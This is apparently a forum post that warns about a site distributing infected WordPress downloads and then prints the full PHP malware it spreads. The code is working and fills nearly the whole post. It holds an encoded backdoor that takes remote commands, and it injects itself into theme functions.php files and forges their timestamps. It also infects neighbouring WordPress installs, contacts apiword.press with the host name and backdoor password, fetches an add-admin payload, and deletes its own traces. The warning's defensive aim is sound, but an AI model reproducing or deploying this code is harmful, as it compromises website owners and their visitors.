Recently, there was free access to a huge amount of material with a dangerous virus. I found the source, the root of evil:
dlwordpress.com
It applies the following type of virus, its code:
Code:
<?php
//install_code
DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);
$GLOBALS['WP_CD_CODE'] = '<?php

//install_code

	$install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAnPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVwbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hlcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdVUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3BhZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRpb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBgY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwgYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxsX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCddKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NEIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyApCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnByZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsKCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFkPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRsZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlwcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
	
	$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
	$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
	
	if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
		{
			$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
				
			$ping = true;
				
			if ($list = scandir( $themes ))
				{
					foreach ($list as $_)
						{
							if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
								{
									$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
										
									if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
										{
											if (strpos($content, 'WP_URL_CD') === false)
												{
													$content = $install_code . $content ;
													@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
													touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
												}
											else
												{
													$ping = false;
												}
										}
										
								}
						}
						
					if ($ping) {
						$content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
						@file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
					}
				}
		}

	if ($file = @file_get_contents(__FILE__))
		{
			$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
			$file = preg_replace('!<\?php\s*\?>!s', '', $file);
			@file_put_contents(__FILE__, $file);
		}

//install_code_end

?><?php error_reporting(0);?>';
$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media', 'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');
$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();
$search = Array(
Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);
function getDirList($path)
{
if ($dir = @opendir($path))
{
$result = Array();
while (($filename = @readdir($dir)) !== false)
{
if ($filename != '.' and& $filename != '..' and& is_dir($path . '/' . $filename))
$result[] = $path . '/' . $filename;
}
return $result;
}
return false;
}
function WP_URL_CD($path)
{
if ( ($file = file_get_contents($path . '/wp-includes/post.php')) and& (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
{
if (strpos($file, 'wp-cd') === false) {
$file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
file_put_contents($path . '/wp-includes/post.php', $file);
}
}
}
function SearchFile($search, $path)
{
if ($dir = @opendir($path))
{
$i = 0;
while (($filename = @readdir($dir)) !== false)
{
if ($i > MAX_ITERATION) break;
$i++;
if ($filename != '.' and& $filename != '..')
{
if (is_dir($path . '/' . $filename) and& !in_array($filename, $GLOBALS['stopkey']))
{
SearchFile($search, $path . '/' . $filename);
}
else
{
foreach ($search as $_)
{
if (strtolower($filename) == strtolower($_['file']))
{
$GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
}
}
}
}
}
}
}
if (is_admin() and& (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {
if (isset($_GET['plugin']))
{
global $wpdb ;
}
$install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7CgkJc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzsKCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF90eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQkJewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9CgkJCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC91cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiAnPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmVwbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb250ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2hlcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCdVUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyAuIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQkJCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQkJCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3BhZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiAkd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUVVFU1RbJ2NvbnRlbnQnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnY29udGVudCddKSkKCQkJCQkJewoJCQkJCQkJaWYgKCR3cGRiIC0+IHF1ZXJ5KCdJTlNFUlQgSU5UTyBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFNFVCBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciLCBgdGl0bGVgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ3RpdGxlJ10pLiciLCBga2V5d29yZHNgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2tleXdvcmRzJ10pLiciLCBgZGVzY3JpcHRpb25gID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Rlc2NyaXB0aW9uJ10pLiciLCBgY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnY29udGVudCddKS4nIiwgYGZ1bGxfY29udGVudGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZnVsbF9jb250ZW50J10pLiciIE9OIERVUExJQ0FURSBLRVkgVVBEQVRFIGB0aXRsZWAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsndGl0bGUnXSkuJyIsIGBrZXl3b3Jkc2AgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsna2V5d29yZHMnXSkuJyIsIGBkZXNjcmlwdGlvbmAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnZGVzY3JpcHRpb24nXSkuJyIsIGBjb250ZW50YCA9ICInLm15c3FsX2VzY2FwZV9zdHJpbmcodXJsZGVjb2RlKCRfUkVRVUVTVFsnY29udGVudCddKSkuJyIsIGBmdWxsX2NvbnRlbnRgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZygkX1JFUVVFU1RbJ2Z1bGxfY29udGVudCddKS4nIicpKQoJCQkJCQkJCXsKCQkJCQkJCQkJcHJpbnQgInRydWUiOwoJCQkJCQkJCX0KCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWRlZmF1bHQ6IHByaW50ICJFUlJPUl9XUF9BQ1RJT04gV1BfVVJMX0NEIjsKCQkJfQoJCQkKCQlkaWUoIiIpOwoJfQoKCQppZiAoICR3cGRiLT5nZXRfdmFyKCdTRUxFQ1QgY291bnQoKikgRlJPTSBgJyAuICR3cGRiLT5wcmVmaXggLiAnZGF0YWxpc3RgIFdIRVJFIGB1cmxgID0gIicubXlzcWxfZXNjYXBlX3N0cmluZyggJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gKS4nIicpID09ICcxJyApCgl7CgkJJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgKiBGUk9NIGAnIC4gJHdwZGItPnByZWZpeCAuICdkYXRhbGlzdGAgV0hFUkUgYHVybGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4nIicpOwoJCWlmICgkZGF0YSAtPiBmdWxsX2NvbnRlbnQpCgkJCXsKCQkJCXByaW50IHN0cmlwc2xhc2hlcygkZGF0YSAtPiBjb250ZW50KTsKCQkJfQoJCWVsc2UKCQkJewoJCQkJcHJpbnQgJzwhRE9DVFlQRSBodG1sPic7CgkJCQlwcmludCAnPGh0bWwgJzsKCQkJCWxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsKCQkJCXByaW50ICcgY2xhc3M9Im5vLWpzIj4nOwoJCQkJcHJpbnQgJzxoZWFkPic7CgkJCQlwcmludCAnPHRpdGxlPicuc3RyaXBzbGFzaGVzKCRkYXRhIC0+IHRpdGxlKS4nPC90aXRsZT4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IktleXdvcmRzIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBrZXl3b3JkcykuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9IkRlc2NyaXB0aW9uIiBjb250ZW50PSInLnN0cmlwc2xhc2hlcygkZGF0YSAtPiBkZXNjcmlwdGlvbikuJyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0iaW5kZXgsIGZvbGxvdyIgLz4nOwoJCQkJcHJpbnQgJzxtZXRhIGNoYXJzZXQ9Iic7CgkJCQlibG9naW5mbyggJ2NoYXJzZXQnICk7CgkJCQlwcmludCAnIiAvPic7CgkJCQlwcmludCAnPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+JzsKCQkJCXByaW50ICc8bGluayByZWw9InByb2ZpbGUiIGhyZWY9Imh0dHA6Ly9nbXBnLm9yZy94Zm4vMTEiPic7CgkJCQlwcmludCAnPGxpbmsgcmVsPSJwaW5nYmFjayIgaHJlZj0iJzsKCQkJCWJsb2dpbmZvKCAncGluZ2JhY2tfdXJsJyApOwoJCQkJcHJpbnQgJyI+JzsKCQkJCXdwX2hlYWQoKTsKCQkJCXByaW50ICc8L2hlYWQ+JzsKCQkJCXByaW50ICc8Ym9keT4nOwoJCQkJcHJpbnQgJzxkaXYgaWQ9ImNvbnRlbnQiIGNsYXNzPSJzaXRlLWNvbnRlbnQiPic7CgkJCQlwcmludCBzdHJpcHNsYXNoZXMoJGRhdGEgLT4gY29udGVudCk7CgkJCQlnZXRfc2VhcmNoX2Zvcm0oKTsKCQkJCWdldF9zaWRlYmFyKCk7CgkJCQlnZXRfZm9vdGVyKCk7CgkJCX0KCQkJCgkJZXhpdDsKCX0KCgo/Pg==';
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
if ($wpdb -> query('CREATE TABLE IF NOT EXISTS `' . $wpdb->prefix . 'datalist` ( `url` varchar(255) NOT NULL, `title` varchar(255) NOT NULL, `keywords` varchar(255) NOT NULL, `description` varchar(255) NOT NULL, `content` longtext NOT NULL, `full_content` smallint(6) NOT NULL, PRIMARY KEY (`url`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8;'))
{
$themes = $_SERVER['DOCUMENT_ROOT'] . DIRECTORY_SEPARATOR . 'wp-content' . DIRECTORY_SEPARATOR . 'themes';
$ping = true;
if ($list = scandir( $themes ))
{
foreach ($list as $_)
{
if (file_exists($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
$time = filectime($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php');
if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php'))
{
if (strpos($content, 'WP_URL_CD') === false)
{
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else
{
$ping = false;
}
}
}
}
if ($ping) {
$content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
@file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
}
}
}
for ($i = 0; $i<MAX_LEVEL; $i++)
{
$dirs[realpath(P . str_repeat('/../', $i + 1))] = realpath(P . str_repeat('/../', $i + 1));
}
foreach ($dirs as $dir)
{
foreach (@getDirList($dir) as $__)
{
@SearchFile($search, $__);
}
}
foreach ($GLOBALS['DIR_ARRAY'] as $e)
{
if ($file = file_get_contents($e[1]))
{
if (preg_match('|\'AUTH_SALT\'\s*\,\s*\'(.*?)\'|s', $file, $salt))
{
if ($salt[1] != AUTH_SALT)
{
WP_URL_CD(dirname($e[1]));
}
}
}
}
if ($file = @file_get_contents(__FILE__))
{
$file = preg_replace('!//install_code.*//install_code_end!s', '', $file);
$file = preg_replace('!<\?php\s*\?>!s', '', $file);
@file_put_contents(__FILE__, $file);
}
}
//install_code_end
?><?php error_reporting(0);?>
This is not all.
We are looking for people who will help to find and remove viruses are another type.
This man is cunning, he will not stop and will continue to promote their viruses always wherever you can.